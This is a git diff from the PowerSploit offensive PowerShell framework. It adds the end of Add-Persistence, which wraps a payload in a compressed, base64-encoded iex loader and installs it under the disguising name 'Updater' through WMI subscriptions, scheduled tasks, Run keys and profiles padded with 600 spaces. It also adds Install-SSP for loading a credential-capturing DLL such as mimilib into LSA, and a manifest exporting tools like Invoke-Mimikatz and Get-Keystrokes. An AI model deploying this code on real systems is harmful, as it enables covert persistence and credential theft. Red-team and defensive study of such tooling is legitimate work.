[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] + [CmdletBinding()] + Param ( + [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )] + [ValidateNotNullOrEmpty()] + [Alias('Path')] + [String] + $FilePath, + + [Parameter( Mandatory = $True )] + $ElevatedPersistenceOption, + + [Parameter( Mandatory = $True )] + $UserPersistenceOption, + + [ValidateNotNullOrEmpty()] + [String] + $PersistenceScriptName = 'Update-Windows', + + [String] + $PersistentScriptFilePath = "$PWD\Persistence.ps1", + + [String] + $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1", + + [Switch] + $DoNotPersistImmediately, + + [Switch] + $PassThru + ) + + Set-StrictMode -Version 2 + +#region Validate arguments + + if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption') + { + throw 'You provided invalid elevated persistence options.' + } + + if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption') + { + throw 'You provided invalid user-level persistence options.' + } + + $Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue + if ($Result -and $Result.PSIsContainer) + { + throw 'You must provide a file name with the PersistentScriptFilePath option.' + } + + $Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue + if ($Result -and $Result.PSIsContainer) + { + throw 'You must provide a file name with the RemovalScriptFilePath option.' + } + + $PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop + $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop + $PersistentScriptFile = '' + $RemovalScriptFile = '' + + if ($PersistentPath -eq '') + { + # i.e. Only a file name was provided implying $PWD + $PersistentScriptFile = "$($PWD)\$($Leaf)" + } + else + { + $PersistentScriptFile = "$(Resolve-Path $PersistentPath)\$($Leaf)" + } + + $RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop + $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop + if ($RemovalPath -eq '') + { + # i.e. Only a file name was provided implying $PWD + $RemovalScriptFile = "$($PWD)\$($Leaf)" + } + else + { + $RemovalScriptFile = "$(Resolve-Path $RemovalPath)\$($Leaf)" + } + + if ($PSBoundParameters['FilePath']) + { + $null = Get-ChildItem $FilePath -ErrorAction Stop + $Script = [IO.File]::ReadAllText((Resolve-Path $FilePath)) + } + else + { + $Script = $ScriptBlock + } + +#endregion + +#region Initialize data + + $UserTrigger = '' + $UserTriggerRemoval = '' + $ElevatedTrigger = "''" + $ElevatedTriggerRemoval = '' + $UserTrigger = "''" + $UserTriggerRemoval = '' + $CommandLine = '' + +#endregion + +#region Compress the original payload in preparation for the persistence script + + $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script) + $CompressedStream = New-Object IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) + $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) + $DeflateStream.Dispose() + $CompressedScriptBytes = $CompressedStream.ToArray() + $CompressedStream.Dispose() + $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) + + # Generate the code that will decompress and execute the payload. + # This code is intentionally ugly to save space. + $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + +#endregion + +#region Process persistence options + + # Begin processing elevated persistence options + switch ($ElevatedPersistenceOption.Method) + { + 'PermanentWMI' + { + $ElevatedTriggerRemoval = { +Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject +Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject +Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject + } + + switch ($ElevatedPersistenceOption.Trigger) + { + 'AtStartup' + { + $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"" + } + + 'Daily' + { + $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"" + } + + default + { + throw 'Invalid elevated persistence options provided!' + } + } + } + + 'ScheduledTask' + { + $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"' + $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater" + + switch ($ElevatedPersistenceOption.Trigger) + { + 'AtLogon' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR " + } + + 'Daily' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " + } + + 'Hourly' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC HOURLY /TN Updater /TR " + } + + 'OnIdle' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR " + } + + default + { + throw 'Invalid elevated persistence options provided!' + } + } + + $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"' + } + + 'Registry' + { + $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value " + $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater" + $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`"" + $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'" + } + + default + { + throw 'Invalid elevated persistence options provided!' + } + } + + # Begin processing user-level persistence options + switch ($UserPersistenceOption.Method) + { + 'ScheduledTask' + { + $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"' + $UserTriggerRemoval = "schtasks /Delete /TN Updater" + + switch ($UserPersistenceOption.Trigger) + { + 'Daily' + { + $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " + } + + 'Hourly' + { + $UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR " + } + + 'OnIdle' + { + $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR " + } + + default + { + throw 'Invalid user-level persistence options provided!' + } + } + + $UserTrigger = '"' + $UserTrigger + $CommandLine + '"' + } + + 'Registry' + { + $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value " + $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater" + $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`"" + $UserTrigger = "'" + $UserTrigger + $CommandLine + "'" + } + + default + { + throw 'Invalid user-level persistence options provided!' + } + } + +#endregion + +#region Original script with its persistence logic will reside here + +# This is intentionally ugly in the interest of saving space on the victim machine. +$PersistantScript = { +function FUNCTIONNAME{ +Param([Switch]$Persist) +$ErrorActionPreference='SilentlyContinue' +$Script={ORIGINALSCRIPT} +if($Persist){ +if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) +{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} +else +{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} +mkdir (Split-Path -Parent $Prof) +(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo +iex $Payload|Out-Null +Write-Output $Payload} +else +{$Script.Invoke()} +} EXECUTEFUNCTION + +} + + $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName) + $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript) + $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger) + $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger) + + if ($DoNotPersistImmediately) + { + $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '') + } + else + { + $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist") + } + +#endregion + +#region Generate final output + +# Generate the persistence removal script +$PersistenceRemoval = @" +# Execute the following to remove the elevated persistent payload +$ElevatedTriggerRemoval +(gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo +# Execute the following to remove the user-level persistent payload +$UserTriggerRemoval +(gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo +"@ + + + $PersistantScript | Out-File $PersistentScriptFile + Write-Verbose "Persistence script written to $PersistentScriptFile" + + $PersistenceRemoval | Out-File $RemovalScriptFile + Write-Verbose "Persistence removal script written to $RemovalScriptFile" + + if ($PassThru) + { + # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline. + Write-Output ([ScriptBlock]::Create($PersistantScript)) + } + +#endregion +} + +function Install-SSP +{ +<# +.SYNOPSIS + +Installs a security support provider (SSP) dll. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Install-SSP installs an SSP dll. Installation involves copying the dll to +%windir%\System32 and adding the name of the dll to +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. + +.PARAMETER Remove + +Specifies the path to the SSP dll you would like to install. + +.EXAMPLE + +Install-SSP -Path .\mimilib.dll + +.NOTES + +The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll +if you are running a 64-bit OS. In order for the SSP dll to be loaded properly +into lsass, the dll must export SpLsaModeInitialize. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] + [CmdletBinding()] + Param ( + [ValidateScript({Test-Path (Resolve-Path $_)})] + [String] + $Path + ) + + $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() + + if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' + } + + # Resolve the full path if a relative path was provided. + $FullDllPath = Resolve-Path $Path + + # Helper function used to determine the dll architecture + function local:Get-PEArchitecture + { + Param + ( + [Parameter( Position = 0, + Mandatory = $True )] + [String] + $Path + ) + + # Parse PE header to see if binary was compiled 32 or 64-bit + $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) + + [Byte[]] $MZHeader = New-Object Byte[](2) + $FileStream.Read($MZHeader,0,2) | Out-Null + + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) + if ($Header -ne 'MZ') + { + $FileStream.Close() + Throw 'Invalid PE header.' + } + + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) + $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null + + [Byte[]] $lfanew = New-Object Byte[](4) + + # Read offset to the PE Header (will be read in reverse) + $FileStream.Read($lfanew,0,4) | Out-Null + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) + + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE + $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null + [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) + + # Read compiled architecture + $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') + $FileStream.Close() + + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) + { + Throw 'Invalid PE header or unsupported architecture.' + } + + if ($Architecture -eq '014C') + { + Write-Output '32-bit' + } + elseif ($Architecture -eq '8664') + { + Write-Output '64-bit' + } + else + { + Write-Output 'Other' + } + } + + $DllArchitecture = Get-PEArchitecture $FullDllPath + + $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture + + if ($DllArchitecture -ne $OSArch) + { + throw 'The operating system architecture must match the architecture of the SSP dll.' + } + + $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name + + # Get the dll filename without the extension. + # This will be added to the registry. + $DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} } + + # Enumerate all of the currently installed SSPs + $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | + Select-Object -ExpandProperty 'Security Packages' + + if ($SecurityPackages -contains $DllName) + { + throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages." + } + + # In case you're running 32-bit PowerShell on a 64-bit OS + $NativeInstallDir = "$($Env:windir)\Sysnative" + + if (Test-Path $NativeInstallDir) + { + $InstallDir = $NativeInstallDir + } + else + { + $InstallDir = "$($Env:windir)\System32" + } + + if (Test-Path (Join-Path $InstallDir $Dll)) + { + throw "$Dll is already installed in $InstallDir." + } + + # If you've made it this far, you are clear to install the SSP dll. + Copy-Item $FullDllPath $InstallDir + + $SecurityPackages += $DllName + + Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages + + $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', + 'secur32.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([String], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $Secur32 = $TypeBuilder.CreateType() + + if ([IntPtr]::Size -eq 4) { + $StructSize = 20 + } + else { + $StructSize = 24 + } + + $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) + [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) + + $RuntimeSuccess = $True + + try { + $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) + } + catch { + $HResult = $Error[0].Exception.InnerException.HResult + Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))" + Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)" + $RuntimeSuccess = $False + } + + if ($RuntimeSuccess) { + Write-Verbose 'Installation and loading complete!' + } + else { + Write-Verbose 'Installation complete! Reboot for changes to take effect.' + } +} + +function Get-SecurityPackage +{ +<# +.SYNOPSIS + +Enumerates all loaded security packages (SSPs). + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. +It also parses the returned SecPkgInfo struct array. + +.EXAMPLE + +Get-SecurityPackage +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding()] + Param() + + #region P/Invoke declarations for secur32.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False) + + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32]) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + $null = $EnumBuilder.DefineLiteral('INTEGRITY', 1) + $null = $EnumBuilder.DefineLiteral('PRIVACY', 2) + $null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4) + $null = $EnumBuilder.DefineLiteral('DATAGRAM', 8) + $null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10) + $null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20) + $null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40) + $null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80) + $null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100) + $null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200) + $null = $EnumBuilder.DefineLiteral('STREAM', 0x400) + $null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800) + $null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000) + $null = $EnumBuilder.DefineLiteral('LOGON', 0x2000) + $null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000) + $null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000) + $null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000) + $null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000) + $null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000) + $null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000) + $null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000) + $null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000) + $null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000) + $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000) + $SECPKG_FLAG = $EnumBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8) + $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public') + $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public') + $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public') + $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public') + $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public') + $SecPkgInfo = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages', + 'secur32.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + + $Secur32 = $TypeBuilder.CreateType() + + $PackageCount = 0 + $PackageArrayPtr = [IntPtr]::Zero + $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))" + } + + if ($PackageCount -eq 0) + { + Write-Verbose 'There are no installed security packages.' + return + } + + $StructAddress = $PackageArrayPtr + + foreach ($i in 1..$PackageCount) + { + $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo)) + + $Name = $null + + if ($SecPackageStruct.Name -ne [IntPtr]::Zero) + { + $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name) + } + + $Comment = $null + + if ($SecPackageStruct.Comment -ne [IntPtr]::Zero) + { + $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment) + } + + $Attributes = @{ + Name = $Name + Comment = $Comment + Capabilities = $SecPackageStruct.fCapabilities + MaxTokenSize = $SecPackageStruct.cbMaxToken + } + + $SecPackage = New-Object PSObject -Property $Attributes + $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO' + + $SecPackage + } +} diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 8c7f939f..3b6976f0 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -1,10 +1,9 @@ -@{ - +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'PowerSploit.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '6753b496-d842-40a3-924a-0f09e248640c' @@ -12,85 +11,164 @@ GUID = '6753b496-d842-40a3-924a-0f09e248640c' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' # Description of the functionality provided by this module -Description = 'PowerSploit Root Module' +Description = 'PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers and red team operator during all phases of an engagement.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() +# Functions to export from this module +FunctionsToExport = @( + 'Add-NetUser', + 'Add-ObjectAcl', + 'Add-Persistence', + 'Add-ServiceDacl', + 'Convert-NameToSid', + 'Convert-NT4toCanonical', + 'Convert-SidToName', + 'Copy-ClonedFile', + 'Find-AVSignature', + 'Find-ComputerField', + 'Find-ForeignGroup', + 'Find-ForeignUser', + 'Find-GPOComputerAdmin', + 'Find-GPOLocation', + 'Find-InterestingFile', + 'Find-LocalAdminAccess', + 'Find-PathDLLHijack', + 'Find-ProcessDLLHijack', + 'Find-ManagedSecurityGroups', + 'Find-UserField', + 'Get-ADObject', + 'Get-ApplicationHost', + 'Get-CachedRDPConnection', + 'Get-ComputerDetails', + 'Get-ComputerProperty', + 'Get-CurrentUserTokenGroupSid', + 'Get-DFSshare', + 'Get-DomainPolicy', + 'Get-ExploitableSystem', + 'Get-GPPPassword', + 'Get-HttpStatus', + 'Get-Keystrokes', + 'Get-LastLoggedOn', + 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', + 'Get-ModifiableService', + 'Get-ModifiableServiceFile', + 'Get-NetComputer', + 'Get-NetDomain', + 'Get-NetDomainController', + 'Get-NetDomainTrust', + 'Get-NetFileServer', + 'Get-NetForest', + 'Get-NetForestCatalog', + 'Get-NetForestDomain', + 'Get-NetForestTrust', + 'Get-NetGPO', + 'Get-NetGPOGroup', + 'Get-NetGroup', + 'Get-NetGroupMember', + 'Get-NetLocalGroup', + 'Get-NetLoggedon', + 'Get-NetOU', + 'Get-NetProcess', + 'Get-NetRDPSession', + 'Get-NetSession', + 'Get-NetShare', + 'Get-NetSite', + 'Get-NetSubnet', + 'Get-NetUser', + 'Get-ObjectAcl', + 'Get-PathAcl', + 'Get-Proxy', + 'Get-RegistryAlwaysInstallElevated', + 'Get-RegistryAutoLogon', + 'Get-SecurityPackages', + 'Get-ServiceDetail', + 'Get-SiteListPassword', + 'Get-System', + 'Get-TimedScreenshot', + 'Get-UnattendedInstallFile', + 'Get-UnquotedService', + 'Get-UserEvent', + 'Get-UserProperty', + 'Get-VaultCredential', + 'Get-VolumeShadowCopy', + 'Get-Webconfig', + 'Install-ServiceBinary', + 'Install-SSP', + 'Invoke-ACLScanner', + 'Invoke-CheckLocalAdminAccess', + 'Invoke-CredentialInjection', + 'Invoke-DllInjection', + 'Invoke-EnumerateLocalAdmin', + 'Invoke-EventHunter', + 'Invoke-FileFinder', + 'Invoke-MapDomainTrust', + 'Invoke-Mimikatz', + 'Invoke-NinjaCopy', + 'Invoke-Portscan', + 'Invoke-PrivescAudit', + 'Invoke-ProcessHunter', + 'Invoke-ReflectivePEInjection', + 'Invoke-ReverseDnsLookup', + 'Invoke-ServiceAbuse', + 'Invoke-ShareFinder', + 'Invoke-Shellcode', + 'Invoke-TokenManipulation', + 'Invoke-UserHunter', + 'Invoke-WmiCommand', + 'Mount-VolumeShadowCopy', + 'New-ElevatedPersistenceOption', + 'New-UserPersistenceOption', + 'New-VolumeShadowCopy', + 'Out-CompressedDll', + 'Out-EncodedCommand', + 'Out-EncryptedScript', + 'Out-Minidump', + 'Remove-Comments', + 'Remove-VolumeShadowCopy', + 'Restore-ServiceBinary', + 'Set-ADObject', + 'Set-CriticalProcess', + 'Set-MacAttribute', + 'Set-MasterBootRecord', + 'Set-ServiceBinPath', + 'Test-ServiceDaclPermission', + 'Write-HijackDll', + 'Write-ServiceBinary', + 'Write-UserAddMSI' +) -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' +# List of all modules packaged with this module. +ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, + @{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, + @{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, + @{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, + @{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, + @{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, + @{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() +PrivateData = @{ -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() + PSData = @{ -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() + # Tags applied to this module. These help with module discovery in online galleries. + Tags = @('security','pentesting','red team','offense') -# Functions to export from this module -FunctionsToExport = '*' + # A URL to the license for this module. + LicenseUri = 'http://www.apache.org/licenses/LICENSE-2.0.html' -# Cmdlets to export from this module -CmdletsToExport = '*' + # A URL to the main website for this project. + 